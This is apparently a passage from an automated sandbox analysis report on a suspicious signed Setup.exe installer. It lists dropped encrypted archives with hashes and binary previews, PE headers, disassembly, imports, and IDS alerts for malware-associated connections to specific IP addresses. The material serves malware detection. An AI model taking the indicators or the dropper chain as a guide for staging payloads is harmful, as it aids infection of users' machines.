Preview:	q.o.....O.....j.p.......O...\|.W.p...../N....#D5p.O.../3N.....^.o....I..!...`.1.n....D.CE....".Bn..u..^!E....W.m....--.0.......l..N...pC...P&`.l......J....$ak.....N.....8x.j..[...-=...8R..i.y..~.. ....La8i.[..zF+....g..h.k<..@8K...H...g.}7...%.......g.mg.1&.3....{4Wf....I..8......e.}.O...A...8..d.._\...M...P.4.d.....6D...@..uc.....2.I.....{.b..T.W.B...`...b....r.}....X].La..6M.r<.....P.`...;..I...p.._..v..<.-....U.F^......9M.......\......N.....3e[....k>?... #J.Y..&...-D...P.Z.X.m..4.I@...@7e.W...O.../.....j.U...I.l.N....Ai0T..Wq..uI.....b.R...\|m.:K....@VNQ.?\|G.d0...`7..O.8..4.. ....fX.L..z..B7C.......I.p4"%..H...`/..G..:...WI...`.1D./....!H...@.%OA...A.9"I.....x.<.u.6"d......7..x.G..@...@..O1...O(.;>.......'..8R..N....;......2]......................@G..?....E..?...@D..?....C..?....A..?....@..?....>..?...@=..?....;..?...@:..?....8..?....7..?....6..?....4..?....3..?....1..?...@0..?.......?...@-..?....+..?....*..?....)..?....'..?....&..?....$..?...@#..?....!..?...@ .

C:\Users\user\AppData\Local\Temp\Kenneth

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	6.548258521559813
Encrypted:	false
SSDEEP:	1536:zRmLORuCYm9PrpmESvn+pqFqaynB6GMKY99z+ajU1Rjv18fRQLTh/5fhjLueoMmo:1R8CThpmESv+AqVnBypIbv18mLthfhnZ
MD5:	4CC928B501590980DBF649EF7F5AFBBF
SHA1:	7F7F0F070B3D76D74280BCCE444BD027A9EDBFF3
SHA-256:	3367ED96F78781ECADB702A538981A42CA634F97590439528E1FC80B82DC57D4
SHA-512:	7F2C0E8DBF4BB6CF7338767BEF0BEA94DDCDB5CBA10CFD85CD5F217D34C322A1659729033082745545B926EAE745D1C54953CACEF254B891D4190EE2194606B6
Malicious:	false
Preview:	[....U..E.V.@..0.../...F..0....I...u..u....y....&..F.....3.^]...U..E.Vj...@..0.E.P.G....u..u....A....&..F......N......W.}.......8.u..H...t.Q........p.....I..............t.Q.J............_. .3.^]...U......<SVW.}.3.\$............G..H..i...O.....D$..D$..I..i...........L$..b_...L$(.Y_...G..p........N..D$(SSP.T$$.T.......D$(.L$.P.j...9\$.tM.L$...}....u@.t$..L$<.R...L$8..z....L$8......]......].t.........#..C........].....h...L$(....\...L$...\....tS.D$..D$....]..G..p.....-...E..~..@..0....-...N...j..t$..%x..YY..u.......#..C....._^3.[..]...U..QS.].VW.E...{..v..C..H..Ph.....u..E..C..0...o-...N....U....s...tC.v....T-...F..8.C..0...C-...u..F.W.0......u...........F......>.....6....-...F..8.C..p.....-...F.j.W.0....I..}............G......7.g....ul..0.I.=....u_.}..tY.C..p....,...F..0....I..C..0...,...F..8.C..p....,...F.j.W.0....I..}......O....G......7_^3.[....U......T.E.SVW.X.3..@..\$..\|$<.p....4,...N..T$@...D$@.A..D$D.A..D$H.A...D$L......!\|$.h`~L.......t$H.D$4Y................

C:\Users\user\AppData\Local\Temp\Namely.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.997757237558352
Encrypted:	true
SSDEEP:	1536:G+9GUR73r3BuuWQm6BWLL8YWbHj1Dx3BVjOwtdguvgk9Le4YD:HGw9/m6BWHg/PRVKwwgfi/D
MD5:	A99F4313AD67115D6A12B102E799E030
SHA1:	2F2C305283A66FCAEE215A6FA66AF030097F009A
SHA-256:	A1907134C807B8D10FF3B975764DA5B0E60E7DACE3D79DC0165DF3D742D67CE1
SHA-512:	F5EDD163F4FCA8204B3C336B661876FD905DBD4360050C260FDE2AF572207B788E5988B91021ACF02FAA72FFD6FB7B96CC5DD601F38516B28979C5E306421EE8
Malicious:	false
Preview:	Cw<...z...:$7...eN..w......Dd..k..t.k.:.....q.B..f..K.....x..c...x^._.........R.8......O.....I...^.Cz..a.P....M1@}#.Hd.....$..:...g......u.c..E!.IZ..zAtp.rX.XW...`.(X.s......FWS.y.j./.<.j`....<....L..R.......&.\...\..5...Bo.>z.<.5.\\.....!l.].=....xN......Tp.`.$3.`.../.{..S7.@`m..y..f..mP.h..$.r.4.B^<.w..^....G.h..o.:..@b_:H.......9..../.9J.Y.L....(x..h\A.....?....::.`-,2......u.U.tX'....8.".......X......w8..j...X.2...t..C..#.......d.uS..8.9..x.S.\..h..Z.t'.86I.j.6U,...q.c.3..7.....+..R.......G..{..m..0.x.........p.@.........+3.cQ{.6..A.x.).MZ...F..7k..........l.Q<..A.(D....u.#Oa.wX.....h+.....tR0...3.\.S.....{.0.Y.ovs.rC..$q....(..I.U.....FmK..!CY..f_~9......R..@.e4<p.hU....!.Q..x..b.U!X.F'.OC..yK.....{...&..!...EN.._,:..Y...H...'..V..A..].QE.N.5......LZ...0v.D...\|.O.d^..."R...9.ZyD.E...*...1!i....`.. ...[8.........okHS...$.B.=.bV5.....le\...8w...2......~..l...Xm.c..[w...#....j}.7.b.J.`36t..X.J..]..]..9.b.hF...=...X9..7h..

C:\Users\user\AppData\Local\Temp\Oxford

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.597577870179922
Encrypted:	false
SSDEEP:	1536:Bq0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7QnswIPumV3BxZxu6/sPYcSyRu:o0Imbi80PtCZEMnVIPPBxT/sZE
MD5:	1BCD0F02B1218397CD81C00B4F08ECC1
SHA1:	8CD2F0887168836C183CAD729FC2414B6DFB07E4
SHA-256:	A81B4AA7B73279800E2D067AE6A2A6C49363F31568C527AD1446E436B937E1A8
SHA-512:	BD6D5694BC873EC56F7AFF4EE6BABAD2170CD39BDF2FF9766C6077D3DEA4E4727655D16E43DB138FA96776D9806C2EC1E6837E6B1AB51732F2EDA69D235359C6
Malicious:	false
Preview:	...............0.........+.........;.rm;.s..8..3..F.;.s........@...3.#.....#...........................0...I......N..................t...,.................t....0...3.............t..B...,....3..,....+3......P........,.........P..0...SP...............3.j.XA..............\...P......P..`...SP........\.........3.@.....j Y+......3....@.............4.....,...H......................t.A..3.j X+...;9................s...........su...t.....2.................jrY;.r..........................0.........+.........;.rg;.s..9..3..F.;.s..A...3.#.....#...........................................0...HN.........t...,...............j.^..t...3...0...............t..B...,....3..,....+3......P........,.........P..0...SP...............3.@..............\...j.........................j.Y...............;.......3.......;..0...............u.........t..P...3.j X+..;...8..................;.s...................F.;.s..W...3...............3......N..............t...,....3.8..........+....

C:\Users\user\AppData\Local\Temp\Pas.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	7.996630933173811
Encrypted:	true
SSDEEP:	1536:q8KEr9FDwoFnyCCOhguIOR7bjy/nWQvko0VemxdWGlkJg59qu:qHEPDJFgOSI7XyMVvlkJg5cu
MD5:	CFD677F0FF62BB4E0B458BEBABF2B0B3
SHA1:	0ACC98C23387DB48DB6994C86E0D1349116AD745
SHA-256:	78742D2283A62457B5107DBD8685EF5B3DE0D85CD4F582C11440D23E924AFA52
SHA-512:	9B82A7EA078AD76639B05C9311ECB86B61E48B6FDD22EF7A26D2CAF68B1592ABF400C780970D7F29ECFFCC1101892314934EC76FA955FB59E37BA27B2749DE3C
Malicious:	false
Preview:	...q.7...H558..[EW9....B_G.5K.... ..F..k..^<;.HL.=....{......X3....ZAE.h..#.........,..Gy...io.`...PC...:....JF...."..w...i..x.....O.....:. .......p..Il...hK!....JX._C'[(..cbh#. w..p...P...<.!...k'..vb....T...b5.=.Zx.E..{..\..V..>X.....3;...k.H...]......$..A2...Z.r...K.R.......v.Ww..u2......d.]...;sm.Eg..`.\...".um...#q..=.#..^......h.A)w..n...^2..._y....e.....o.T.!..59.-t...fL.]s..L...Z.7Y...O.M.OWj..+=..d0...D`T...'nT:.b.....P....v.....A2N..\.8.c......X7z....l.z1'2.XI.bl(..Cc.AQ...C..p.9E.FC...b.......Mu.. ...r..b..lE..A...8...\|....%.....b..,.hQ...n.l6...$.[z...$........(.....z.L.NP8.W......K:...0....J{.....c.2..RX.?...!{v.........=._..p.5y....q.i...L.x..ti...p.nV$.A&.l^..M..5]..V..]...#.}....^.pT..pA\|zQ........%...\..l..../..9...!...pL..CD.b.+...6.U2\..Kw.G..A5....S..\|..o....`......%..B.x....^..Z^...S.m.)S.M..4........-e.@....D.v.N.q/.,.+{#bL.........0 ...OH.{.1n^.{kj..'..w.DW.)..<..D....p.....C.:..o.I/.._..g.f.R..O...1R.......

C:\Users\user\AppData\Local\Temp\Pcs.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.998121496725335
Encrypted:	true
SSDEEP:	1536:nSk8eIzlCT8J7XcgBSouGB7VG8inDeP+plBPqTwKUGKK2L108p/ZUq:nSk8eIzv7XXSqVaiOAUGo0u
MD5:	7208E5BD40B4F3B29A5EB517FB00558F
SHA1:	EC0CD20B04710599CAD26B58E3C67876CA18176E
SHA-256:	6983972132958824409A44FDF6FDC3B60558FC029055D5B7B5ECC404DA92CC88
SHA-512:	4F3FAE11C63AC1C2D7BEE1043107A52312E36A83137F13BA3C0E6760524ABC3EA7F3086B061DFF7BB07CFEA8FA1C2A0CEF199B5B0A29FBCA34168A81D09D3837
Malicious:	false
Preview:	.....(...kG...j..r.y#.@. z:...1....Q..%...3o9..v..r.-+..d..hSU5.mf..B..^..b.}..W.......uy.......>......_.K,r....3O.X.`..6.H........"...Z....6n..U..g...W.B..d.]..X...ag.....x.hX.j..N..X...9.!.6/..F...~m..=.....J.....;.+....t..k.>:;.DB\|..I.-N....%....6..?01b d8..x.....Y.Y......-a.X.....9f..lj..6n$.D..BEx.!.fD...._.i.....f.{d..m/.[(..`......"H....OZ.J.......T...X.xRd.....7.p0....DA...c}.]..h...O.z.(......`.(....p.${..#....I....M{.......DgO:.O.LQF..y.l..P.....(1..&.E..,......kU1..C.D....v7s(..S."..j...E.w./...)..9^..WO..]..d?......~.8.n.T.<n..W...b.#..#. . ......g....%....V...m7QV@.4F.g..@...........4.%.....-+NX.(..z.u_.uT@..7.(.a..._....R.v3e..$x...h\|w.^.Q..:....A.t..............R.8.....j.nf,.uv.O....x.....?3A ....3H.nwg.&......;...#S>..~.0U.........-.A..._....5y~..gIC..8H{.....K.......#...Cb..!............=....}...'4..n...{.S....M..k.....e....Y..p.n..N...#.Gyx.:....B....Z.x.2.M.../..g..h..SJ&..O..a}.@....V]E<Y

C:\Users\user\AppData\Local\Temp\Reef.ppam

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	Microsoft Cabinet archive data, 487096 bytes, 10 files, at 0x2c +A "Bored" +A "Administrative", ID 7514, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	487096
Entropy (8bit):	7.998518839418628
Encrypted:	true
SSDEEP:	12288:mAM3JGgugibJuR7K2krhFj4e5D02eGtKjJ5OkX:HuQXb2Krh15c7zX
MD5:	0DDB3F888F7DEB4B35A1152E46B133D4
SHA1:	59DE9D03575A712BCFF0E3B4E47F2482FF841F32
SHA-256:	86D643C6741A26D7AAF0700DF440ACF671667A0D8E371A4ABB1F636D0D0081B8
SHA-512:	DBBFAA80980F8356B40F7B7993F7FE5871E646C931B5355F8F821FAEB7BEEFBD04857B5C7D826D136DC9B3AA4F74CE28573EB4591033F55ABDC9D10E79D57C19
Malicious:	false
Preview:	MSCF.....n......,...............Z............D.........Z{A .Bored......D.....Z{A .Administrative..X.........Z{A .Kenneth......X.....Z{A .Resorts............Z{A .Compiled......x.....Z{A .Bother.b-...~.....Z{A .Accused..T..]......Z{A .Kansas..0..]......Z{A .Oxford..D..]0.....Z{A .Signing..s...I..CK.yxT..0~&.$C.8......lQ.a..4!.,@`.$.,n..0.......aX.....";.}.$.L.(.D.....n&W.".........{.?~....9}..........#.....e.....c...H...T....Tc...1.k.S..(7.........Y.H..3....4.4.W..d....?....83..7..P.Yl.......Hs..\|.4.X_R...>r..j.../....#_.b...;.)i.....1 ....5......V...P>`..w!.4...%..Q.d..\|..t?.R..^.(e.Z.._..i..bk..g.:....f.`.L.dk...r...g.I.j..)6h...%&..z..Ke...HT..H...5.^...~X.HR.;j7..iy..:....j......q~.2....mZ....?.@..R.$Y4C.)...8...Fr...@..c....x.4....:(w.j`..~..0...J.`.K..Q..z.....y..(%3..x[EO.....m....(iZW.VI..uJ.+BI...^.?.....Hx8.."..R.p{I....o..@.k.2Q.u........?.KJ..P.<......`WD..<.~.2E....Yk=e..+...pzeG..'.2....)...CUb.iwr..[.. zT...'........+...,.6`.N....UI.f+.% ....xy

C:\Users\user\AppData\Local\Temp\Resorts

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	103424
Entropy (8bit):	6.255854917148833
Encrypted:	false
SSDEEP:	3072:aZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3l1:aK5vPeDkjGgQaE/l1
MD5:	0E608008AF7B480271D97BE4AAA381CC
SHA1:	C83AA49C2C98651A7F8F0CA39539D8B2F5901B57
SHA-256:	9D488CA45E5B3D7DBEAAB216780DAA32DDF5F96927F1AFC9BE9654A0AE1E3511
SHA-512:	F07D674979183ED4999AA00E2CEFA6685BBA4075248E25C515BA18269143B3EDAEEBEF7CD328E203A98C10FF49666DEF358BDF553461EA37568F03B3B528B21D
Malicious:	false
Preview:	f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.\|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h.........

C:\Users\user\AppData\Local\Temp\Signing

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	148480
Entropy (8bit):	6.708017876555898
Encrypted:	false
SSDEEP:	3072:4W2UDQWf05mjccBiqXvpgF4qv+32eOyKODOSpQSAU4C7:SUDtf0accB3gBmmLsiS+SAhC7
MD5:	AF48B2DECDA89645DF19CEF89C64E48F
SHA1:	5F83305B9A9D522740A5633C9B9ED7C320C0659D
SHA-256:	D9083EF5AB07ED5E8DBF6BBF74CD979E77797E1B2946760AB4EDACC3B0398FC9
SHA-512:	169A9C2FBA36412151310AFE1B2D6AB9FEE447037AA09E30FEFA99F7F234E33606A91C76347311A08A4C23AAA2EC9E89BBFF5F0396EB4A28474F803516ABA5A6
Malicious:	false
Preview:	.D$8.A..D$<...D$0.d$...L$ ;.t.P......t..L$0.q....\|$....l....D$ ..P.'.......f....E..@..0...k....F..L$0.0......D$.P.D$.P.D$.P.D$.P.D$$P.D$DP.f.....L$0..............L....T$..L$..T$......z....\|$.........D$..........\|$.........\|$..........3............L$..D$.....r...........3........j(.3Y....Y.N..P....N..H...;\$........D$..t$.P........j.........L$....................H.............D$ ...;.t.P.U....E..@..0...-.................;N.t..v..+.............t$..L$.Q...0.5.#M.....I.....J....L$ ...._^3.[..]...U.....U.3.S3.E.V3.CW.u.9B........M.3.}..E.#......M....}....M....M...P...8...j+Yj^...f;.Yj!Z.. ...f;.......f;.......f;E........F...V.E.......u.}......{......j@.M..?....U..E.P.E.Pj}X...\...YY..tN.u..4..!K.....YY..t.F..c\|..c........H!K..u!.... K....M............_^[....2...2...U..QSVWf...U..M..;....u.2.6.M.V.G......f..t#..u.f;.t..M.P......E..0F.0..E.......f..t..._^[..U..U...<...V.........B..F..B..F..B..F....\...^]...U...(.E.S.M.3.V.u..M.M...M....E.....W.Q.jN[........x.f9X..]..}....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.982506439638186
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	1'195'901 bytes
MD5:	1a27fceaa8cf30b45e58957195768a4e
SHA1:	5daed928aa0c440e09d2832f6046c49f3ff47dc8
SHA256:	584c427269b460b899d5734d36fd08e5037827eea6fd5d6972388a12d0b368d6
SHA512:	62f09940f8b8d9cd724da1a42e8a4145ff7e54394eee5b901f7309d3897888723f93e47ddc9d095fb74391fee08fb92901e7133c400d132288fa0b0292cf1fd3
SSDEEP:	24576:H0aWmY33sAmMTOue6HMKL/G/8Ih80AkndybuzMZvpe+QpB:HkR3ciKueyMKs8Ih80bDMZ5Q
TLSH:	404533E0D37899EAF52509F333A208E59B38A32572E1B6D357114E677FB11861E0D3A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.ydx..7x..7x..7_Hz7{..7_Hl7i..7x..7...7q..7s..7q..7y..7q..7y..7Richx..7........................PE..L....l.K.................d.

File Icon


Icon Hash:	9818991bf0809863

Static PE Info

General

Entrypoint:	0x4033e9
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4BC06CCB [Sat Apr 10 12:19:23 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bf95d1fc1d10de18b32654b123ad5e1f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	02/05/2023 01:00:00 29/07/2026 00:59:59
Subject Chain	CN=Psiphon Inc., O=Psiphon Inc., L=Toronto, S=Ontario, C=CA
Version:	3
Thumbprint MD5:	2D368B5A6CC98BC02AD52EEE65430D83
Thumbprint SHA-1:	1A200CF5CB19E72BFCCF0217FD4D7833812D3A42
Thumbprint SHA-256:	BC8381484F313296157BF10B1607AA4E9F0952CEEAA56BC02DA0BBCB03C209F7
Serial:	065FCA85F000B86E0C0FABABAA85A28F

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00408570h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082B0h]
push 00000008h
mov dword ptr [00470678h], eax
call 00007FF91CE9153Ch
push ebp
push 000002B4h
mov dword ptr [00470590h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040856Ch
call dword ptr [00408180h]
push 00408554h
push 00468580h
call 00007FF91CE9140Ah
call dword ptr [004080B0h]
push eax
mov edi, 004C10A0h
push edi
call 00007FF91CE913F8h
push ebp
call dword ptr [00408130h]
cmp word ptr [004C10A0h], 0022h
mov dword ptr [00470598h], eax
mov eax, edi
jne 00007FF91CE8EDDAh
push 00000022h
pop esi
mov eax, 004C10A2h
push esi
push eax
call 00007FF91CE910CCh
push eax
call dword ptr [00408250h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FF91CE8EE61h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FF91CE8EDD9h
inc esi
inc esi
cmp word ptr [esi], bx
je 00007FF91CE8EDCBh

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x89f0	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf2000	0x114e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1218a5	0x26d8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6240	0x6400	1a752074fcd11165f6f148ea63ebe068	False	0.656640625	data	6.421737576039348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x18ca	0x1a00	7eb0899a4b6211f8bc545228417d92ad	False	0.42427884615384615	data	4.878367399492845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x6667c	0x200	b0b1d7c362f8cc76541b7fce5014e602	False	0.193359375	data	1.3587162613330246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x71000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf2000	0x114e8	0x11600	21993a22bf44033090782a83bf9f8a27	False	0.9005451888489209	data	7.574785058835711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf2250	0xab65	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.987875196572236
RT_ICON	0xfcdb8	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5895036615134256
RT_ICON	0xff420	0x2589	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0011447601207202
RT_ICON	0x1019b0	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.6908014571948998
RT_ICON	0x102ad8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.8466312056737588
RT_DIALOG	0x102f40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x103040	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x103160	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1031c0	0x4c	data	English	United States	0.8026315789473685
RT_MANIFEST	0x103210	0x2d4	XML 1.0 document, ASCII text, with very long lines (724), with no line terminators	English	United States	0.5649171270718232

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, MulDiv, lstrlenA, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, FindWindowExW, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, IsWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-12T02:26:17.040274+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	89.169.54.153	443	TCP
2025-04-12T02:26:57.428286+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49725	104.21.5.162	443	TCP
2025-04-12T02:26:59.045004+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49726	104.21.5.162	443	TCP
2025-04-12T02:27:00.126270+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49727	104.21.5.162	443	TCP
2025-04-12T02:27:01.576068+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49728	104.21.5.162	443	TCP
2025-04-12T02:27:04.077461+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49729	104.21.5.162	443	TCP
2025-04-12T02:27:05.285701+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.5.162	443	TCP
2025-04-12T02:27:06.389151+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.5.162	443	TCP
2025-04-12T02:27:08.292766+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.5.162	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2025 02:26:57.155061007 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.155134916 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.155227900 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.158669949 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.158694029 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.428189039 CEST	443	49725	104.21.5.162	192.168.2.4
Apr 12, 2025 02:26:57.428286076 CEST	49725	443	192.168.2.4	104.21.5.162
Apr 12, 2025 02:26:57.430581093 CEST	49725	443	192.168.2.4	104.21.5.162
